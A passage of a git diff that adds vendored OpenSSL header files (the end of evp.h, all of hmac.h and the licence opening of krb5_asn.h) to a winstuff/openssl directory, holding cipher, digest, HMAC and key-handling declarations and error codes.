EVP_DigestFinal(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s); + +int EVP_read_pw_string(char *buf,int length,const char *prompt,int verify); +void EVP_set_pw_prompt(const char *prompt); +char * EVP_get_pw_prompt(void); + +int EVP_BytesToKey(const EVP_CIPHER *type,const EVP_MD *md, + const unsigned char *salt, const unsigned char *data, + int datal, int count, unsigned char *key,unsigned char *iv); + +void EVP_CIPHER_CTX_set_flags(EVP_CIPHER_CTX *ctx, int flags); +void EVP_CIPHER_CTX_clear_flags(EVP_CIPHER_CTX *ctx, int flags); +int EVP_CIPHER_CTX_test_flags(const EVP_CIPHER_CTX *ctx,int flags); + +int EVP_EncryptInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, + const unsigned char *key, const unsigned char *iv); +int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl, + const unsigned char *key, const unsigned char *iv); +int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, + int *outl, const unsigned char *in, int inl); +int EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl); +int EVP_EncryptFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl); + +int EVP_DecryptInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, + const unsigned char *key, const unsigned char *iv); +int EVP_DecryptInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl, + const unsigned char *key, const unsigned char *iv); +int EVP_DecryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, + int *outl, const unsigned char *in, int inl); +int EVP_DecryptFinal(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); +int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); + +int EVP_CipherInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, + const unsigned char *key,const unsigned char *iv, + int enc); +int EVP_CipherInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl, + const unsigned char *key,const unsigned char *iv, + int enc); +int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, + int *outl, const unsigned char *in, int inl); +int EVP_CipherFinal(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); +int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); + +int EVP_SignFinal(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s, + EVP_PKEY *pkey); + +int EVP_VerifyFinal(EVP_MD_CTX *ctx,const unsigned char *sigbuf, + unsigned int siglen,EVP_PKEY *pkey); + +int EVP_OpenInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *type, + const unsigned char *ek, int ekl, const unsigned char *iv, + EVP_PKEY *priv); +int EVP_OpenFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl); + +int EVP_SealInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, + unsigned char **ek, int *ekl, unsigned char *iv, + EVP_PKEY **pubk, int npubk); +int EVP_SealFinal(EVP_CIPHER_CTX *ctx,unsigned char *out,int *outl); + +void EVP_EncodeInit(EVP_ENCODE_CTX *ctx); +void EVP_EncodeUpdate(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl, + const unsigned char *in,int inl); +void EVP_EncodeFinal(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl); +int EVP_EncodeBlock(unsigned char *t, const unsigned char *f, int n); + +void EVP_DecodeInit(EVP_ENCODE_CTX *ctx); +int EVP_DecodeUpdate(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl, + const unsigned char *in, int inl); +int EVP_DecodeFinal(EVP_ENCODE_CTX *ctx, unsigned + char *out, int *outl); +int EVP_DecodeBlock(unsigned char *t, const unsigned char *f, int n); + +void EVP_CIPHER_CTX_init(EVP_CIPHER_CTX *a); +int EVP_CIPHER_CTX_cleanup(EVP_CIPHER_CTX *a); +EVP_CIPHER_CTX *EVP_CIPHER_CTX_new(void); +void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *a); +int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX *x, int keylen); +int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX *c, int pad); +int EVP_CIPHER_CTX_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg, void *ptr); +int EVP_CIPHER_CTX_rand_key(EVP_CIPHER_CTX *ctx, unsigned char *key); + +#ifndef OPENSSL_NO_BIO +BIO_METHOD *BIO_f_md(void); +BIO_METHOD *BIO_f_base64(void); +BIO_METHOD *BIO_f_cipher(void); +BIO_METHOD *BIO_f_reliable(void); +void BIO_set_cipher(BIO *b,const EVP_CIPHER *c,const unsigned char *k, + const unsigned char *i, int enc); +#endif + +const EVP_MD *EVP_md_null(void); +#ifndef OPENSSL_NO_MD2 +const EVP_MD *EVP_md2(void); +#endif +#ifndef OPENSSL_NO_MD4 +const EVP_MD *EVP_md4(void); +#endif +#ifndef OPENSSL_NO_MD5 +const EVP_MD *EVP_md5(void); +#endif +#ifndef OPENSSL_NO_SHA +const EVP_MD *EVP_sha(void); +const EVP_MD *EVP_sha1(void); +const EVP_MD *EVP_dss(void); +const EVP_MD *EVP_dss1(void); +const EVP_MD *EVP_ecdsa(void); +#endif +#ifndef OPENSSL_NO_SHA256 +const EVP_MD *EVP_sha224(void); +const EVP_MD *EVP_sha256(void); +#endif +#ifndef OPENSSL_NO_SHA512 +const EVP_MD *EVP_sha384(void); +const EVP_MD *EVP_sha512(void); +#endif +#ifndef OPENSSL_NO_MDC2 +const EVP_MD *EVP_mdc2(void); +#endif +#ifndef OPENSSL_NO_RIPEMD +const EVP_MD *EVP_ripemd160(void); +#endif +const EVP_CIPHER *EVP_enc_null(void); /* does nothing :-) */ +#ifndef OPENSSL_NO_DES +const EVP_CIPHER *EVP_des_ecb(void); +const EVP_CIPHER *EVP_des_ede(void); +const EVP_CIPHER *EVP_des_ede3(void); +const EVP_CIPHER *EVP_des_ede_ecb(void); +const EVP_CIPHER *EVP_des_ede3_ecb(void); +const EVP_CIPHER *EVP_des_cfb64(void); +# define EVP_des_cfb EVP_des_cfb64 +const EVP_CIPHER *EVP_des_cfb1(void); +const EVP_CIPHER *EVP_des_cfb8(void); +const EVP_CIPHER *EVP_des_ede_cfb64(void); +# define EVP_des_ede_cfb EVP_des_ede_cfb64 +#if 0 +const EVP_CIPHER *EVP_des_ede_cfb1(void); +const EVP_CIPHER *EVP_des_ede_cfb8(void); +#endif +const EVP_CIPHER *EVP_des_ede3_cfb64(void); +# define EVP_des_ede3_cfb EVP_des_ede3_cfb64 +const EVP_CIPHER *EVP_des_ede3_cfb1(void); +const EVP_CIPHER *EVP_des_ede3_cfb8(void); +const EVP_CIPHER *EVP_des_ofb(void); +const EVP_CIPHER *EVP_des_ede_ofb(void); +const EVP_CIPHER *EVP_des_ede3_ofb(void); +const EVP_CIPHER *EVP_des_cbc(void); +const EVP_CIPHER *EVP_des_ede_cbc(void); +const EVP_CIPHER *EVP_des_ede3_cbc(void); +const EVP_CIPHER *EVP_desx_cbc(void); +/* This should now be supported through the dev_crypto ENGINE. But also, why are + * rc4 and md5 declarations made here inside a "NO_DES" precompiler branch? */ +#if 0 +# ifdef OPENSSL_OPENBSD_DEV_CRYPTO +const EVP_CIPHER *EVP_dev_crypto_des_ede3_cbc(void); +const EVP_CIPHER *EVP_dev_crypto_rc4(void); +const EVP_MD *EVP_dev_crypto_md5(void); +# endif +#endif +#endif +#ifndef OPENSSL_NO_RC4 +const EVP_CIPHER *EVP_rc4(void); +const EVP_CIPHER *EVP_rc4_40(void); +#endif +#ifndef OPENSSL_NO_IDEA +const EVP_CIPHER *EVP_idea_ecb(void); +const EVP_CIPHER *EVP_idea_cfb64(void); +# define EVP_idea_cfb EVP_idea_cfb64 +const EVP_CIPHER *EVP_idea_ofb(void); +const EVP_CIPHER *EVP_idea_cbc(void); +#endif +#ifndef OPENSSL_NO_RC2 +const EVP_CIPHER *EVP_rc2_ecb(void); +const EVP_CIPHER *EVP_rc2_cbc(void); +const EVP_CIPHER *EVP_rc2_40_cbc(void); +const EVP_CIPHER *EVP_rc2_64_cbc(void); +const EVP_CIPHER *EVP_rc2_cfb64(void); +# define EVP_rc2_cfb EVP_rc2_cfb64 +const EVP_CIPHER *EVP_rc2_ofb(void); +#endif +#ifndef OPENSSL_NO_BF +const EVP_CIPHER *EVP_bf_ecb(void); +const EVP_CIPHER *EVP_bf_cbc(void); +const EVP_CIPHER *EVP_bf_cfb64(void); +# define EVP_bf_cfb EVP_bf_cfb64 +const EVP_CIPHER *EVP_bf_ofb(void); +#endif +#ifndef OPENSSL_NO_CAST +const EVP_CIPHER *EVP_cast5_ecb(void); +const EVP_CIPHER *EVP_cast5_cbc(void); +const EVP_CIPHER *EVP_cast5_cfb64(void); +# define EVP_cast5_cfb EVP_cast5_cfb64 +const EVP_CIPHER *EVP_cast5_ofb(void); +#endif +#ifndef OPENSSL_NO_RC5 +const EVP_CIPHER *EVP_rc5_32_12_16_cbc(void); +const EVP_CIPHER *EVP_rc5_32_12_16_ecb(void); +const EVP_CIPHER *EVP_rc5_32_12_16_cfb64(void); +# define EVP_rc5_32_12_16_cfb EVP_rc5_32_12_16_cfb64 +const EVP_CIPHER *EVP_rc5_32_12_16_ofb(void); +#endif +#ifndef OPENSSL_NO_AES +const EVP_CIPHER *EVP_aes_128_ecb(void); +const EVP_CIPHER *EVP_aes_128_cbc(void); +const EVP_CIPHER *EVP_aes_128_cfb1(void); +const EVP_CIPHER *EVP_aes_128_cfb8(void); +const EVP_CIPHER *EVP_aes_128_cfb128(void); +# define EVP_aes_128_cfb EVP_aes_128_cfb128 +const EVP_CIPHER *EVP_aes_128_ofb(void); +#if 0 +const EVP_CIPHER *EVP_aes_128_ctr(void); +#endif +const EVP_CIPHER *EVP_aes_192_ecb(void); +const EVP_CIPHER *EVP_aes_192_cbc(void); +const EVP_CIPHER *EVP_aes_192_cfb1(void); +const EVP_CIPHER *EVP_aes_192_cfb8(void); +const EVP_CIPHER *EVP_aes_192_cfb128(void); +# define EVP_aes_192_cfb EVP_aes_192_cfb128 +const EVP_CIPHER *EVP_aes_192_ofb(void); +#if 0 +const EVP_CIPHER *EVP_aes_192_ctr(void); +#endif +const EVP_CIPHER *EVP_aes_256_ecb(void); +const EVP_CIPHER *EVP_aes_256_cbc(void); +const EVP_CIPHER *EVP_aes_256_cfb1(void); +const EVP_CIPHER *EVP_aes_256_cfb8(void); +const EVP_CIPHER *EVP_aes_256_cfb128(void); +# define EVP_aes_256_cfb EVP_aes_256_cfb128 +const EVP_CIPHER *EVP_aes_256_ofb(void); +#if 0 +const EVP_CIPHER *EVP_aes_256_ctr(void); +#endif +#endif +#ifndef OPENSSL_NO_CAMELLIA +const EVP_CIPHER *EVP_camellia_128_ecb(void); +const EVP_CIPHER *EVP_camellia_128_cbc(void); +const EVP_CIPHER *EVP_camellia_128_cfb1(void); +const EVP_CIPHER *EVP_camellia_128_cfb8(void); +const EVP_CIPHER *EVP_camellia_128_cfb128(void); +# define EVP_camellia_128_cfb EVP_camellia_128_cfb128 +const EVP_CIPHER *EVP_camellia_128_ofb(void); +const EVP_CIPHER *EVP_camellia_192_ecb(void); +const EVP_CIPHER *EVP_camellia_192_cbc(void); +const EVP_CIPHER *EVP_camellia_192_cfb1(void); +const EVP_CIPHER *EVP_camellia_192_cfb8(void); +const EVP_CIPHER *EVP_camellia_192_cfb128(void); +# define EVP_camellia_192_cfb EVP_camellia_192_cfb128 +const EVP_CIPHER *EVP_camellia_192_ofb(void); +const EVP_CIPHER *EVP_camellia_256_ecb(void); +const EVP_CIPHER *EVP_camellia_256_cbc(void); +const EVP_CIPHER *EVP_camellia_256_cfb1(void); +const EVP_CIPHER *EVP_camellia_256_cfb8(void); +const EVP_CIPHER *EVP_camellia_256_cfb128(void); +# define EVP_camellia_256_cfb EVP_camellia_256_cfb128 +const EVP_CIPHER *EVP_camellia_256_ofb(void); +#endif + +#ifndef OPENSSL_NO_SEED +const EVP_CIPHER *EVP_seed_ecb(void); +const EVP_CIPHER *EVP_seed_cbc(void); +const EVP_CIPHER *EVP_seed_cfb128(void); +# define EVP_seed_cfb EVP_seed_cfb128 +const EVP_CIPHER *EVP_seed_ofb(void); +#endif + +void OPENSSL_add_all_algorithms_noconf(void); +void OPENSSL_add_all_algorithms_conf(void); + +#ifdef OPENSSL_LOAD_CONF +#define OpenSSL_add_all_algorithms() \ + OPENSSL_add_all_algorithms_conf() +#else +#define OpenSSL_add_all_algorithms() \ + OPENSSL_add_all_algorithms_noconf() +#endif + +void OpenSSL_add_all_ciphers(void); +void OpenSSL_add_all_digests(void); +#define SSLeay_add_all_algorithms() OpenSSL_add_all_algorithms() +#define SSLeay_add_all_ciphers() OpenSSL_add_all_ciphers() +#define SSLeay_add_all_digests() OpenSSL_add_all_digests() + +int EVP_add_cipher(const EVP_CIPHER *cipher); +int EVP_add_digest(const EVP_MD *digest); + +const EVP_CIPHER *EVP_get_cipherbyname(const char *name); +const EVP_MD *EVP_get_digestbyname(const char *name); +void EVP_cleanup(void); + +int EVP_PKEY_decrypt(unsigned char *dec_key, + const unsigned char *enc_key,int enc_key_len, + EVP_PKEY *private_key); +int EVP_PKEY_encrypt(unsigned char *enc_key, + const unsigned char *key,int key_len, + EVP_PKEY *pub_key); +int EVP_PKEY_type(int type); +int EVP_PKEY_bits(EVP_PKEY *pkey); +int EVP_PKEY_size(EVP_PKEY *pkey); +int EVP_PKEY_assign(EVP_PKEY *pkey,int type,char *key); + +#ifndef OPENSSL_NO_RSA +struct rsa_st; +int EVP_PKEY_set1_RSA(EVP_PKEY *pkey,struct rsa_st *key); +struct rsa_st *EVP_PKEY_get1_RSA(EVP_PKEY *pkey); +#endif +#ifndef OPENSSL_NO_DSA +struct dsa_st; +int EVP_PKEY_set1_DSA(EVP_PKEY *pkey,struct dsa_st *key); +struct dsa_st *EVP_PKEY_get1_DSA(EVP_PKEY *pkey); +#endif +#ifndef OPENSSL_NO_DH +struct dh_st; +int EVP_PKEY_set1_DH(EVP_PKEY *pkey,struct dh_st *key); +struct dh_st *EVP_PKEY_get1_DH(EVP_PKEY *pkey); +#endif +#ifndef OPENSSL_NO_EC +struct ec_key_st; +int EVP_PKEY_set1_EC_KEY(EVP_PKEY *pkey,struct ec_key_st *key); +struct ec_key_st *EVP_PKEY_get1_EC_KEY(EVP_PKEY *pkey); +#endif + +EVP_PKEY * EVP_PKEY_new(void); +void EVP_PKEY_free(EVP_PKEY *pkey); + +EVP_PKEY * d2i_PublicKey(int type,EVP_PKEY **a, const unsigned char **pp, + long length); +int i2d_PublicKey(EVP_PKEY *a, unsigned char **pp); + +EVP_PKEY * d2i_PrivateKey(int type,EVP_PKEY **a, const unsigned char **pp, + long length); +EVP_PKEY * d2i_AutoPrivateKey(EVP_PKEY **a, const unsigned char **pp, + long length); +int i2d_PrivateKey(EVP_PKEY *a, unsigned char **pp); + +int EVP_PKEY_copy_parameters(EVP_PKEY *to, const EVP_PKEY *from); +int EVP_PKEY_missing_parameters(const EVP_PKEY *pkey); +int EVP_PKEY_save_parameters(EVP_PKEY *pkey,int mode); +int EVP_PKEY_cmp_parameters(const EVP_PKEY *a, const EVP_PKEY *b); + +int EVP_PKEY_cmp(const EVP_PKEY *a, const EVP_PKEY *b); + +int EVP_CIPHER_type(const EVP_CIPHER *ctx); + +/* calls methods */ +int EVP_CIPHER_param_to_asn1(EVP_CIPHER_CTX *c, ASN1_TYPE *type); +int EVP_CIPHER_asn1_to_param(EVP_CIPHER_CTX *c, ASN1_TYPE *type); + +/* These are used by EVP_CIPHER methods */ +int EVP_CIPHER_set_asn1_iv(EVP_CIPHER_CTX *c,ASN1_TYPE *type); +int EVP_CIPHER_get_asn1_iv(EVP_CIPHER_CTX *c,ASN1_TYPE *type); + +/* PKCS5 password based encryption */ +int PKCS5_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, + ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md, + int en_de); +int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen, + const unsigned char *salt, int saltlen, int iter, + int keylen, unsigned char *out); +int PKCS5_v2_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, + ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md, + int en_de); + +void PKCS5_PBE_add(void); + +int EVP_PBE_CipherInit (ASN1_OBJECT *pbe_obj, const char *pass, int passlen, + ASN1_TYPE *param, EVP_CIPHER_CTX *ctx, int en_de); +int EVP_PBE_alg_add(int nid, const EVP_CIPHER *cipher, const EVP_MD *md, + EVP_PBE_KEYGEN *keygen); +void EVP_PBE_cleanup(void); + +#ifdef OPENSSL_FIPS +#ifndef OPENSSL_NO_ENGINE +void int_EVP_MD_set_engine_callbacks( + int (*eng_md_init)(ENGINE *impl), + int (*eng_md_fin)(ENGINE *impl), + int (*eng_md_evp) + (EVP_MD_CTX *ctx, const EVP_MD **ptype, ENGINE *impl)); +void int_EVP_MD_init_engine_callbacks(void); +void int_EVP_CIPHER_set_engine_callbacks( + int (*eng_ciph_fin)(ENGINE *impl), + int (*eng_ciph_evp) + (EVP_CIPHER_CTX *ctx, const EVP_CIPHER **pciph, ENGINE *impl)); +void int_EVP_CIPHER_init_engine_callbacks(void); +#endif +#endif + +void EVP_add_alg_module(void); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_EVP_strings(void); + +/* Error codes for the EVP functions. */ + +/* Function codes. */ +#define EVP_F_AES_INIT_KEY 133 +#define EVP_F_ALG_MODULE_INIT 138 +#define EVP_F_CAMELLIA_INIT_KEY 159 +#define EVP_F_D2I_PKEY 100 +#define EVP_F_DO_EVP_ENC_ENGINE 140 +#define EVP_F_DO_EVP_ENC_ENGINE_FULL 141 +#define EVP_F_DO_EVP_MD_ENGINE 139 +#define EVP_F_DO_EVP_MD_ENGINE_FULL 142 +#define EVP_F_DSAPKEY2PKCS8 134 +#define EVP_F_DSA_PKEY2PKCS8 135 +#define EVP_F_ECDSA_PKEY2PKCS8 129 +#define EVP_F_ECKEY_PKEY2PKCS8 132 +#define EVP_F_EVP_CIPHERINIT 137 +#define EVP_F_EVP_CIPHERINIT_EX 123 +#define EVP_F_EVP_CIPHER_CTX_CTRL 124 +#define EVP_F_EVP_CIPHER_CTX_SET_KEY_LENGTH 122 +#define EVP_F_EVP_DECRYPTFINAL_EX 101 +#define EVP_F_EVP_DIGESTINIT 136 +#define EVP_F_EVP_DIGESTINIT_EX 128 +#define EVP_F_EVP_ENCRYPTFINAL_EX 127 +#define EVP_F_EVP_MD_CTX_COPY_EX 110 +#define EVP_F_EVP_OPENINIT 102 +#define EVP_F_EVP_PBE_ALG_ADD 115 +#define EVP_F_EVP_PBE_CIPHERINIT 116 +#define EVP_F_EVP_PKCS82PKEY 111 +#define EVP_F_EVP_PKEY2PKCS8_BROKEN 113 +#define EVP_F_EVP_PKEY_COPY_PARAMETERS 103 +#define EVP_F_EVP_PKEY_DECRYPT 104 +#define EVP_F_EVP_PKEY_ENCRYPT 105 +#define EVP_F_EVP_PKEY_GET1_DH 119 +#define EVP_F_EVP_PKEY_GET1_DSA 120 +#define EVP_F_EVP_PKEY_GET1_ECDSA 130 +#define EVP_F_EVP_PKEY_GET1_EC_KEY 131 +#define EVP_F_EVP_PKEY_GET1_RSA 121 +#define EVP_F_EVP_PKEY_NEW 106 +#define EVP_F_EVP_RIJNDAEL 126 +#define EVP_F_EVP_SIGNFINAL 107 +#define EVP_F_EVP_VERIFYFINAL 108 +#define EVP_F_PKCS5_PBE_KEYIVGEN 117 +#define EVP_F_PKCS5_V2_PBE_KEYIVGEN 118 +#define EVP_F_PKCS8_SET_BROKEN 112 +#define EVP_F_RC2_MAGIC_TO_METH 109 +#define EVP_F_RC5_CTRL 125 + +/* Reason codes. */ +#define EVP_R_AES_KEY_SETUP_FAILED 143 +#define EVP_R_ASN1_LIB 140 +#define EVP_R_BAD_BLOCK_LENGTH 136 +#define EVP_R_BAD_DECRYPT 100 +#define EVP_R_BAD_KEY_LENGTH 137 +#define EVP_R_BN_DECODE_ERROR 112 +#define EVP_R_BN_PUBKEY_ERROR 113 +#define EVP_R_CAMELLIA_KEY_SETUP_FAILED 157 +#define EVP_R_CIPHER_PARAMETER_ERROR 122 +#define EVP_R_CTRL_NOT_IMPLEMENTED 132 +#define EVP_R_CTRL_OPERATION_NOT_IMPLEMENTED 133 +#define EVP_R_DATA_NOT_MULTIPLE_OF_BLOCK_LENGTH 138 +#define EVP_R_DECODE_ERROR 114 +#define EVP_R_DIFFERENT_KEY_TYPES 101 +#define EVP_R_DISABLED_FOR_FIPS 144 +#define EVP_R_ENCODE_ERROR 115 +#define EVP_R_ERROR_LOADING_SECTION 145 +#define EVP_R_ERROR_SETTING_FIPS_MODE 146 +#define EVP_R_EVP_PBE_CIPHERINIT_ERROR 119 +#define EVP_R_EXPECTING_AN_RSA_KEY 127 +#define EVP_R_EXPECTING_A_DH_KEY 128 +#define EVP_R_EXPECTING_A_DSA_KEY 129 +#define EVP_R_EXPECTING_A_ECDSA_KEY 141 +#define EVP_R_EXPECTING_A_EC_KEY 142 +#define EVP_R_FIPS_MODE_NOT_SUPPORTED 147 +#define EVP_R_INITIALIZATION_ERROR 134 +#define EVP_R_INPUT_NOT_INITIALIZED 111 +#define EVP_R_INVALID_FIPS_MODE 148 +#define EVP_R_INVALID_KEY_LENGTH 130 +#define EVP_R_IV_TOO_LARGE 102 +#define EVP_R_KEYGEN_FAILURE 120 +#define EVP_R_MISSING_PARAMETERS 103 +#define EVP_R_NO_CIPHER_SET 131 +#define EVP_R_NO_DIGEST_SET 139 +#define EVP_R_NO_DSA_PARAMETERS 116 +#define EVP_R_NO_SIGN_FUNCTION_CONFIGURED 104 +#define EVP_R_NO_VERIFY_FUNCTION_CONFIGURED 105 +#define EVP_R_PKCS8_UNKNOWN_BROKEN_TYPE 117 +#define EVP_R_PUBLIC_KEY_NOT_RSA 106 +#define EVP_R_UNKNOWN_OPTION 149 +#define EVP_R_UNKNOWN_PBE_ALGORITHM 121 +#define EVP_R_UNSUPORTED_NUMBER_OF_ROUNDS 135 +#define EVP_R_UNSUPPORTED_CIPHER 107 +#define EVP_R_UNSUPPORTED_KEYLENGTH 123 +#define EVP_R_UNSUPPORTED_KEY_DERIVATION_FUNCTION 124 +#define EVP_R_UNSUPPORTED_KEY_SIZE 108 +#define EVP_R_UNSUPPORTED_PRF 125 +#define EVP_R_UNSUPPORTED_PRIVATE_KEY_ALGORITHM 118 +#define EVP_R_UNSUPPORTED_SALT_TYPE 126 +#define EVP_R_WRONG_FINAL_BLOCK_LENGTH 109 +#define EVP_R_WRONG_PUBLIC_KEY_TYPE 110 +#define EVP_R_SEED_KEY_SETUP_FAILED 162 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/hmac.h b/winstuff/openssl/hmac.h new file mode 100644 index 0000000..fc38ffb --- /dev/null +++ b/winstuff/openssl/hmac.h @@ -0,0 +1,109 @@ +/* crypto/hmac/hmac.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +#ifndef HEADER_HMAC_H +#define HEADER_HMAC_H + +#include + +#ifdef OPENSSL_NO_HMAC +#error HMAC is disabled. +#endif + +#include + +#define HMAC_MAX_MD_CBLOCK 128 /* largest known is SHA512 */ + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct hmac_ctx_st + { + const EVP_MD *md; + EVP_MD_CTX md_ctx; + EVP_MD_CTX i_ctx; + EVP_MD_CTX o_ctx; + unsigned int key_length; + unsigned char key[HMAC_MAX_MD_CBLOCK]; + } HMAC_CTX; + +#define HMAC_size(e) (EVP_MD_size((e)->md)) + + +void HMAC_CTX_init(HMAC_CTX *ctx); +void HMAC_CTX_cleanup(HMAC_CTX *ctx); + +#define HMAC_cleanup(ctx) HMAC_CTX_cleanup(ctx) /* deprecated */ + +void HMAC_Init(HMAC_CTX *ctx, const void *key, int len, + const EVP_MD *md); /* deprecated */ +void HMAC_Init_ex(HMAC_CTX *ctx, const void *key, int len, + const EVP_MD *md, ENGINE *impl); +void HMAC_Update(HMAC_CTX *ctx, const unsigned char *data, size_t len); +void HMAC_Final(HMAC_CTX *ctx, unsigned char *md, unsigned int *len); +unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len, + const unsigned char *d, size_t n, unsigned char *md, + unsigned int *md_len); + +void HMAC_CTX_set_flags(HMAC_CTX *ctx, unsigned long flags); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/krb5_asn.h b/winstuff/openssl/krb5_asn.h new file mode 100644 index 0000000..41725d0 --- /dev/null +++ b/winstuff/openssl/krb5_asn.h @@ -0,0 +1,256 @@ +/* krb5_asn.h */ +/* Written by Vern Staats for the OpenSSL project, +** using ocsp/{*.h,*asn*.c} as a starting point +*/ + +/* ==================================================================== + * Copyright (c) 1998-2000 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes 